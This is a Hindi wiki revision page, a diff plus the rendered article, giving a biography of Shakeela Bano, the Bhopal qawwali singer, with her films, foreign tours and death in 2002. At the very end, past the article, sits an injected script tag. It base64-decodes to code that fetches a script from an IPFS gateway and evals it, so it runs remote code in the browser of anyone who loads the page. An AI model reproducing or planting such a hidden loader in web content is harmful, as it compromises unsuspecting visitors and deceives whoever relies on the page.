"शकीला बानो" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''शकीला बानो''' (अंग्रेज़ी: ''Shakeela Bano'', जन्म- 1942; मृत्यु- ...' के साथ नया पृष्ठ बनाया)
 
 
(इसी सदस्य द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
 +
{{शकीला बानो विषय सूची}}
 +
{{सूचना बक्सा कलाकार
 +
|चित्र=Shakeela-Bano-Bhopale.jpg
 +
|चित्र का नाम=शकीला बानो
 +
|पूरा नाम=
 +
|प्रसिद्ध नाम=शकीला बानो भोपाली
 +
|अन्य नाम=
 +
|जन्म=[[1942]]
 +
|जन्म भूमि=
 +
|मृत्यु=[[16 दिसम्बर]], [[2002]]
 +
|मृत्यु स्थान=
 +
|अभिभावक=
 +
|पति/पत्नी=
 +
|संतान=
 +
|कर्म भूमि=[[भारत]]
 +
|कर्म-क्षेत्र=क़व्वाली गायन
 +
|मुख्य रचनाएँ=
 +
|मुख्य फ़िल्में=शकीला जी ने 'सांझ की बेला', 'आलमआरा', 'टैक्सी ड्राइवर', 'परियों की शहजादी', 'सरहदी लुटेरा', 'डाकू मानसिंह', 'दस्तक', 'मुंबई का बाबू', 'जीनत' और 'सीआईडी' जैसी फ़िल्मों के लिए अपनी आवाज़ दी।
 +
|विषय=
 +
|शिक्षा=
 +
|विद्यालय=
 +
|पुरस्कार-उपाधि=
 +
|प्रसिद्धि=प्रथम महिला क़व्वाल
 +
|विशेष योगदान=
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=पचास के दशक में शकीला बानो प्रसिद्ध अभिनेता [[दिलीप कुमार]] के आमंत्रण पर [[मुंबई]] आईं। क़व्वाली के शौक़ीनों ने उन्हें हाथों-हाथ लिया। सन [[1957]] में निर्माता सर जगमोहन मट्टू ने उन्हें विशेष रूप से अपनी फ़िल्म 'जागीर' में अभिनय करने का अवसर दिया।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन={{अद्यतन|14:10, 28 जून 2017 (IST)}}
 +
}}
 
'''शकीला बानो''' ([[अंग्रेज़ी]]: ''Shakeela Bano'', जन्म- [[1942]]; मृत्यु- [[16 दिसम्बर]], [[2002]]) प्रसिद्ध भारतीय क़व्वाल हैं। [[भोपाल]] की पहचान शकीला बानो को पहली महिला क़व्वाल होने का दर्ज़ा प्राप्त है। काफ़ी लम्बे संघर्ष के बाद उन्हें फ़िल्में और स्टेज पर अपनी प्रतिभा का प्रदर्शन करने का अवसर मिला था। शकीला बानो की प्रसिद्धि [[भारत]] के बाहर के देशों में भी है। उन्होंने पूर्वी अफ़्रीका, [[इंग्लैण्ड]] और [[कुवैत]] आदि देशों में अपने कार्यक्रम पेश किये हैं।
 
'''शकीला बानो''' ([[अंग्रेज़ी]]: ''Shakeela Bano'', जन्म- [[1942]]; मृत्यु- [[16 दिसम्बर]], [[2002]]) प्रसिद्ध भारतीय क़व्वाल हैं। [[भोपाल]] की पहचान शकीला बानो को पहली महिला क़व्वाल होने का दर्ज़ा प्राप्त है। काफ़ी लम्बे संघर्ष के बाद उन्हें फ़िल्में और स्टेज पर अपनी प्रतिभा का प्रदर्शन करने का अवसर मिला था। शकीला बानो की प्रसिद्धि [[भारत]] के बाहर के देशों में भी है। उन्होंने पूर्वी अफ़्रीका, [[इंग्लैण्ड]] और [[कुवैत]] आदि देशों में अपने कार्यक्रम पेश किये हैं।
 
==परिचय==
 
==परिचय==
पंक्ति 5: पंक्ति 39:
 
एक ज़माना था, जब किसी महिला क़व्वाल की कल्पना ही दूर की बात थी। उस ज़माने में किसी महिला क़व्वाल का मंच पर आना पहले तो लोगों को हैरानी की बात लगी, लेकिन शकीला बानो ने अपने बेबाक अंदाज़ और दबंग व्यक्तित्व के ज़रिए अपनी एक अलग ही धाक जमा ली। अपने शुरुआती दौर में उन्होंने जानी बाबू क़व्वाल के साथ जोड़ी बनाई और मंच पर दोनों के बीच मुक़ाबला दर्शकों को बाँधे रखता था।<ref>{{cite web |url=http://www.bbc.com/hindi/news/021216_shakila_obit_sz.shtml |title=क़व्वाली क्वीन नहीं रहीं |accessmonthday= 28 जून|accessyear= 2017|last= |first= |authorlink= |format= |publisher=bbc.com |language=हिंदी }}</ref>
 
एक ज़माना था, जब किसी महिला क़व्वाल की कल्पना ही दूर की बात थी। उस ज़माने में किसी महिला क़व्वाल का मंच पर आना पहले तो लोगों को हैरानी की बात लगी, लेकिन शकीला बानो ने अपने बेबाक अंदाज़ और दबंग व्यक्तित्व के ज़रिए अपनी एक अलग ही धाक जमा ली। अपने शुरुआती दौर में उन्होंने जानी बाबू क़व्वाल के साथ जोड़ी बनाई और मंच पर दोनों के बीच मुक़ाबला दर्शकों को बाँधे रखता था।<ref>{{cite web |url=http://www.bbc.com/hindi/news/021216_shakila_obit_sz.shtml |title=क़व्वाली क्वीन नहीं रहीं |accessmonthday= 28 जून|accessyear= 2017|last= |first= |authorlink= |format= |publisher=bbc.com |language=हिंदी }}</ref>
 
==कॅरियर==
 
==कॅरियर==
पचास के दशक में शकीला बानो प्रसिद्ध अभिनेता [[दिलीप कुमार]] के आमंत्रण पर [[मुंबई]] आईं। क़व्वाली के शौक़ीनों ने उन्हें हाथों-हाथ लिया। उन्होंने फ़िल्मों में भी अपनी आवाज़ का जादू दिया। सन [[1957]] में निर्माता सर जगमोहन मट्टू ने उन्हें विशेष रूप से अपनी फ़िल्म 'जागीर' में अभिनय करने का अवसर दिया। इसके बाद उन्हें सह-अभिनेत्री, चरित्र अभिनेत्री की भूमिका निभाने के अनेक अवसर मिले। एचएमवी कंपनी ने [[1971]] में उनका पहला रिकॉर्ड बनाया और पूरे भारत में शकीला बानो अपने हुस्न और हुनर की बदौलत पहचानी जाने लगीं। उन्होंने 'सांझ की बेला', 'आलमआरा', 'फौलादी मुक्का', 'रांग नम्बर', 'टैक्सी ड्राइवर', 'परियों की शहजादी', 'गद्दार चोरों की बारात', 'सरहदी लुटेरा', 'आज और कल', 'डाकू मानसिंह', 'दस्तक', 'मुंबई का बाबू', 'जीनत' और 'सीआईडी' जैसी मशहूर फ़िल्मों के लिए अपनी आवाज़ दी थी।
+
{{main|शकीला बानो का कॅरियर}}
 
+
पचास के दशक में शकीला बानो प्रसिद्ध अभिनेता [[दिलीप कुमार]] के आमंत्रण पर [[मुंबई]] आईं। क़व्वाली के शौक़ीनों ने उन्हें हाथों-हाथ लिया। उन्होंने फ़िल्मों में भी अपनी आवाज़ का जादू दिया। सन [[1957]] में निर्माता सर जगमोहन मट्टू ने उन्हें विशेष रूप से अपनी फ़िल्म 'जागीर' में अभिनय करने का अवसर दिया। इसके बाद उन्हें सह-अभिनेत्री, चरित्र अभिनेत्री की भूमिका निभाने के अनेक अवसर मिले। एचएमवी कंपनी ने [[1971]] में उनका पहला रिकॉर्ड बनाया और पूरे भारत में शकीला बानो अपने हुस्न और हुनर की बदौलत पहचानी जाने लगीं।
शकीला बानो की ख्याति [[भारत]] के अलावा दूसरे देशों में भी फैली। उन्होंने सन [[1960]] में पूर्वी अफ़्रीका में लगभग 44 कार्यक्रम प्रस्तुत किए। सन [[1966]] में उन्होंने इंग्लैण्ड के विभिन्न शहरों में 32 कार्यक्रम और [[कुवैत]] यात्रा के दौरान 12 कार्यक्रम पेश किए। [[1978]] में [[अमेरिका]] और कनाडा के कई शहरों में आठ कार्यक्रम पेश किए। वर्ष [[1980]] में उन्होंने [[पाकिस्तान]] का दौरा किया। वे पहली महिला क़व्वाल थीं, जो विदेशों में पसंद की गईं और उन्हें आदर-सम्मान मिला।
 
 
==मृत्यु==
 
==मृत्यु==
शकीला बानो की मृत्यु [[16 दिसम्बर]], [[2002]]<ref>{{cite web |url=http://www.bhopale.com/person/shakeela-bano-bhopali |title=Shakeela Bano Bhopali |accessmonthday= 28 जून|accessyear=2017 |last= |first= |authorlink= |format= |publisher=bhopale.com |language=हिंदी }}</ref> में हुई। वर्ष [[1984]] में [[भोपाल]] में गैस के रिसाव ने शकीला बानो से उनकी आवाज़ छीन ली थी। अपने अंतिम दिनों में वह दमे, [[मधुमेह]] और उच्च रक्तचाप से पीड़ित रहने लगी थीं। अंतिम दिनों में उन्होंने काफ़ी अभाव का जीवन देखा। जैकी श्रॉफ़ जैसे कुछ फ़िल्मकारों ने उनकी मदद भी की, लेकिन वह काफ़ी नहीं थी। शकीला बानो भोपाली ने तो सब कुछ भाग्य पर छोड़ ही दिया था, जैसे- उनकी एक मशहूर क़व्वाली की पंक्तियाँ हैं- "अब यह छोड़ दिया है तुझ पर चाहे ज़हर दे या जाम दे..."
+
शकीला बानो की मृत्यु [[16 दिसम्बर]], [[2002]]<ref>{{cite web |url=http://www.bhopale.com/person/shakeela-bano-bhopali |title=Shakeela Bano Bhopali |accessmonthday= 28 जून|accessyear=2017 |last= |first= |authorlink= |format= |publisher=bhopale.com |language=हिंदी }}</ref> में हुई। वर्ष [[1984]] में [[भोपाल]] में गैस के रिसाव ने शकीला बानो से उनकी आवाज़ छीन ली थी। अपने अंतिम दिनों में वह दमे, [[मधुमेह]] और उच्च रक्तचाप से पीड़ित रहने लगी थीं। अंतिम दिनों में उन्होंने काफ़ी अभाव का जीवन देखा। जैकी श्रॉफ़ जैसे कुछ फ़िल्मकारों ने उनकी मदद भी की, लेकिन वह काफ़ी नहीं थी। शकीला बानो भोपाली ने तो सब कुछ भाग्य पर छोड़ ही दिया था, जैसे- उनकी एक मशहूर [[क़व्वाली]] की पंक्तियाँ हैं- "अब यह छोड़ दिया है तुझ पर चाहे ज़हर दे या जाम दे..."
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
पंक्ति 15: पंक्ति 48:
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
{{पार्श्वगायक}}
+
{{शकीला बानो विषय सूची}}{{पार्श्वगायक}}
 
[[Category:गायिका]][[Category:सिनेमा]][[Category:संगीत कोश]][[Category:सिनेमा कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:जीवनी साहित्य]]
 
[[Category:गायिका]][[Category:सिनेमा]][[Category:संगीत कोश]][[Category:सिनेमा कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:जीवनी साहित्य]]
 
__INDEX__
 
__INDEX__

05:34, 16 दिसम्बर 2017 के समय का अवतरण

शकीला बानो विषय सूची
शकीला बानो
शकीला बानो
प्रसिद्ध नाम शकीला बानो भोपाली
जन्म 1942
मृत्यु 16 दिसम्बर, 2002
कर्म भूमि भारत
कर्म-क्षेत्र क़व्वाली गायन
मुख्य फ़िल्में शकीला जी ने 'सांझ की बेला', 'आलमआरा', 'टैक्सी ड्राइवर', 'परियों की शहजादी', 'सरहदी लुटेरा', 'डाकू मानसिंह', 'दस्तक', 'मुंबई का बाबू', 'जीनत' और 'सीआईडी' जैसी फ़िल्मों के लिए अपनी आवाज़ दी।
प्रसिद्धि प्रथम महिला क़व्वाल
नागरिकता भारतीय
अन्य जानकारी पचास के दशक में शकीला बानो प्रसिद्ध अभिनेता दिलीप कुमार के आमंत्रण पर मुंबई आईं। क़व्वाली के शौक़ीनों ने उन्हें हाथों-हाथ लिया। सन 1957 में निर्माता सर जगमोहन मट्टू ने उन्हें विशेष रूप से अपनी फ़िल्म 'जागीर' में अभिनय करने का अवसर दिया।
अद्यतन‎

शकीला बानो (अंग्रेज़ी: Shakeela Bano, जन्म- 1942; मृत्यु- 16 दिसम्बर, 2002) प्रसिद्ध भारतीय क़व्वाल हैं। भोपाल की पहचान शकीला बानो को पहली महिला क़व्वाल होने का दर्ज़ा प्राप्त है। काफ़ी लम्बे संघर्ष के बाद उन्हें फ़िल्में और स्टेज पर अपनी प्रतिभा का प्रदर्शन करने का अवसर मिला था। शकीला बानो की प्रसिद्धि भारत के बाहर के देशों में भी है। उन्होंने पूर्वी अफ़्रीका, इंग्लैण्ड और कुवैत आदि देशों में अपने कार्यक्रम पेश किये हैं।

परिचय

देश की प्रथम महिला क़व्वाल शकीला बानो का जन्म सन 1942 में हुआ था। कई दिनों के लम्बे संघर्ष के बाद उन्हें फ़िल्मों में कार्य करने का अवसर प्राप्त हुआ था। धीरे-धीरे वे भारत के अन्य शहरोें में भी कार्यक्रम प्रस्तुत करने जाने लगीं। शकीला बानो ने कभी विवाह नहीं किया। उनके परिवार में उनकी बहिन और एक भाई हैं।

एक ज़माना था, जब किसी महिला क़व्वाल की कल्पना ही दूर की बात थी। उस ज़माने में किसी महिला क़व्वाल का मंच पर आना पहले तो लोगों को हैरानी की बात लगी, लेकिन शकीला बानो ने अपने बेबाक अंदाज़ और दबंग व्यक्तित्व के ज़रिए अपनी एक अलग ही धाक जमा ली। अपने शुरुआती दौर में उन्होंने जानी बाबू क़व्वाल के साथ जोड़ी बनाई और मंच पर दोनों के बीच मुक़ाबला दर्शकों को बाँधे रखता था।[1]

कॅरियर

पचास के दशक में शकीला बानो प्रसिद्ध अभिनेता दिलीप कुमार के आमंत्रण पर मुंबई आईं। क़व्वाली के शौक़ीनों ने उन्हें हाथों-हाथ लिया। उन्होंने फ़िल्मों में भी अपनी आवाज़ का जादू दिया। सन 1957 में निर्माता सर जगमोहन मट्टू ने उन्हें विशेष रूप से अपनी फ़िल्म 'जागीर' में अभिनय करने का अवसर दिया। इसके बाद उन्हें सह-अभिनेत्री, चरित्र अभिनेत्री की भूमिका निभाने के अनेक अवसर मिले। एचएमवी कंपनी ने 1971 में उनका पहला रिकॉर्ड बनाया और पूरे भारत में शकीला बानो अपने हुस्न और हुनर की बदौलत पहचानी जाने लगीं।

मृत्यु

शकीला बानो की मृत्यु 16 दिसम्बर, 2002[2] में हुई। वर्ष 1984 में भोपाल में गैस के रिसाव ने शकीला बानो से उनकी आवाज़ छीन ली थी। अपने अंतिम दिनों में वह दमे, मधुमेह और उच्च रक्तचाप से पीड़ित रहने लगी थीं। अंतिम दिनों में उन्होंने काफ़ी अभाव का जीवन देखा। जैकी श्रॉफ़ जैसे कुछ फ़िल्मकारों ने उनकी मदद भी की, लेकिन वह काफ़ी नहीं थी। शकीला बानो भोपाली ने तो सब कुछ भाग्य पर छोड़ ही दिया था, जैसे- उनकी एक मशहूर क़व्वाली की पंक्तियाँ हैं- "अब यह छोड़ दिया है तुझ पर चाहे ज़हर दे या जाम दे..."


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. क़व्वाली क्वीन नहीं रहीं (हिंदी) bbc.com। अभिगमन तिथि: 28 जून, 2017।
  2. Shakeela Bano Bhopali (हिंदी) bhopale.com। अभिगमन तिथि: 28 जून, 2017।

संबंधित लेख

शकीला बानो विषय सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>